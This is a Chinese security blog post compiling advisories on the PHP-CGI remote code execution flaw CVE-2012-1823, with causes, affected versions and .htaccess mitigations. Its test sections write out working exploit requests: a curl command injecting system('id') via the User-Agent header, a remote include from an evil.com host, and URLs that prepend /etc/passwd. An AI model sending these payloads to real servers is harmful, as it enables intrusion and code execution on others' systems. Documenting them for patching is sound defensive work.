商务合作: on9gcn@163.com skype: sam793561805

Apache防止PHP CGI远程任意代码执行漏洞

admin 2016-5-13 21:3931 人围观, 发现评论数0个

简介 :今天检测的一个客户平台存在这样的漏洞,在搜集相关信息时,找到了这样两篇信息,作为记录:Bugtraq ID:CVE ID:CVE-2012-1823CNCVE ID:CNCVE-20121823漏洞发布时间:2012-05-03漏洞更新时间:2012-05-03漏洞起因输入 ...
今天检测的一个客户平台存在这样的漏洞,在搜集相关信息时,找到了这样两篇信息,作为记录:

Bugtraq ID:
CVE ID:CVE-2012-1823
CNCVE ID:CNCVE-20121823
 
漏洞发布时间:2012-05-03
漏洞更新时间:2012-05-03
 
漏洞起因
输入验证错误
危险等级

 
影响系统
PHP < 5.4.2
PHP < 5.3.12
 
不受影响系统
 
危害
远程攻击者可以利用漏洞获取敏感脚本源代码信息或执行任意PHP代码。
 
攻击所需条件
攻击者必须访问PHP-CGI应用。
 
漏洞信息
PHP是一种在服务器端执行的嵌入HTML文档的脚本语言。
基于PHP-CGI的设置在解析PHP文件查询字符串参数时存在一个漏洞,允许远程攻击者可以利用漏洞执行任意代码。
当使用PHP-CGI设置时(如Apache mod_cgid模块),php-cgi接收查询字符串作为命令行参数,这些参数允许命令行开关如-s, -d或-c传递给php-cgi进程,可被利用泄露源代码或执行任意代码。
如-s命令,允许攻击者获取index.php的源代码:
http://localhost/index.php?-s
其中Apache+mod_php和nginx+php-fpm不受此漏洞影响。
 
测试方法
1、本地包含直接执行代码:
curl -H "USER-AGENT: <?system('id');die();?>" http://target.com/test.php?-dauto_prepend_file%3d/proc/self/environ+-n
2、远程包含执行代码:
curl http://target.com/test.php?-dallow_url_include%3dOn+-dauto_prepend_file%3dhttp%3a%2f%2Fwww.evil.com%2fevil.txt
临时解决方案
-可使用第三方封装程序处理参数数据,如:
http://eindbazen.net/wp-content/uploads/2012/05/CVE-2012-1823-mitigation.tar.gz
-针对PHP进行补丁处理,如果php-cgi以非fastcgi cgi调用禁用参数解析。
http://eindbazen.net/2012/05/php-cgi-advisory-cve-2012-1823/
 
厂商解决方案
PHP 5.4.2和5.3.12已经修复此漏洞,建议用户下载使用:
http://www.php.net/archive/2012.php#id2012-05-03-1
 
漏洞提供者
De Eindbazen

以上内容来源于  启明星辰

此外,其它的参考信息为:

Apache环境又发现了一例PHP挂载CGI的环境下,远程执行任意代码的漏洞。


受影响的平台:APACHE+MOD_CGI+PHP-CGI模式。

PHP网站爆出PHP-CGI超级漏洞问题,黑客可以利用该漏洞下载黑客后门程序执行,最终取得主机控制权限。该漏洞风险极高,请用到mod_cgi模块的用户见到此公告后务必及时进行处理。该漏洞是用户将HTTP请求参数提交至Apache服务器,通过mod_cgi模块交给后端的php-cgi处理,但在执行过程中部分字符没有得到处理,比如空格、等号(=)、减号(-)等。利用这些字符,攻击者可以向后端的php-cgi解析程序提交恶意数据,php-cgi会将这段“数据”当做php参数直接执行。

此相关信息来自360网站安全检测平台

360网站安全检测平台发布橙色安全警报称,最新曝光的PHP CGI漏洞已经遭黑客利用,对使用CGI模式执行PHP的网站服务器造成严重威胁。据360检测,国内绝大多数虚拟主机提供商存在此漏洞,攻击者只需找到任意一个PHP文件,即可利用漏洞远程执行恶意代码,从而攻陷整台服务器。目前,国内仅360网站宝(wzb.360.cn)可为受漏洞影响的网站提供防御解决方案。

PHP CGI漏洞最早由国外安全研究者于近日公开,其实际存在的时间则长达约8年之久。据360网站安全工程师介绍,该漏洞是用户请求参数提交至服务器,交给后端的php-cgi处理,但在执行过程中部分字符没有得到处理,比如空格、等号(=)、减号(-)等。利用这些字符,攻击者可以直接给后端的php-cgi解析程序提交恶意数据,php-cgi会将这段“数据”当做php参数来一并执行,目前截获到的攻击主要利用以下参数:

-d foo[=bar] Define INI entry foo with value 'bar'#为php定义ini中的配置项-n No php.ini file will be used#不使用php.ini,可以绕过php的安全设置-s Output HTML syntax highlighted source.#输出php源码

包含本地文件读取内容:


读取PHP源码:


直接执行任意命令:


通过远程包含直接在服务器上执行webshell:


360网站安全检测平台分析认为,PHP CGI漏洞危害并不仅限于远程执行代码,攻击者还可以定义php-cgi的执行参数,使用“-n”后,php.ini中的一些列安全设置均被绕过。因为目前绝大部分虚拟主机的安全还是依靠php自身的安全设置,遭遇该漏洞攻击时将形同虚设。

截至发稿前,360网站安全检测平台已将PHP CGI漏洞加入了扫描规则,对注册网站用户进行紧急专项扫描,并及时向受漏洞影响的网站管理者发送报警通知。此外,相关网站也可免费使用360网站宝服务,可以有效主动防御黑客针对网站的恶意攻击。


=====================================================================

主要原因是:PHP做了防范,CGI在SAPI下无法使用-r,-f等直接执行命令的参数。例子:

  1. http://demo.com/do.php?-dauto_prepend_file%3d/etc/passwd+-n
  2. http://demo.com/do.php?-dallow_url_include%3don+-dauto_prepend_file%3dhttp://sjolzy.cn/a.txt
  3. http://demo.com/do.php?-s
复制代码

防治方法是:

1. 升级到官方最新版

2. 临时处理办法:.htacces文件里修改

RewriteCond %{QUERY_STRING} ^[^=]*$
RewriteCond %{QUERY_STRING} %2d|- [NC]
RewriteRule .? – [F,L]

或这样写
RewriteCond %{QUERY_STRING} ^(%2d|-)[^=]+$ [NC]
RewriteRule ^(.*) $1? [L]

收藏 邀请

热门推荐

iOS“远程越狱”间谍软件Pegasus技术分析
上周苹果紧急发布了iOS 9.3.5,修复了三个0day漏洞,这3个漏洞能让攻击者对全球范围内...
Cisco SNMP RCE漏洞复现过程
NSA数据泄露后,很多大牛都给出了分析报告,让我受益匪浅。作为一名技术小白,想分享...
Web安全测试中常见逻辑漏洞解析(实战篇)
逻辑漏洞挖掘一直是安全测试中“经久不衰”的话题。相比SQL注入、XSS漏洞等传统安全漏...
中东网络暗战:针对叙利亚反对派的网络攻击
1概要本报告描述了以叙利亚反对派为目标,精心策划的恶意软件攻击,攻击者使用了一系...
返回顶部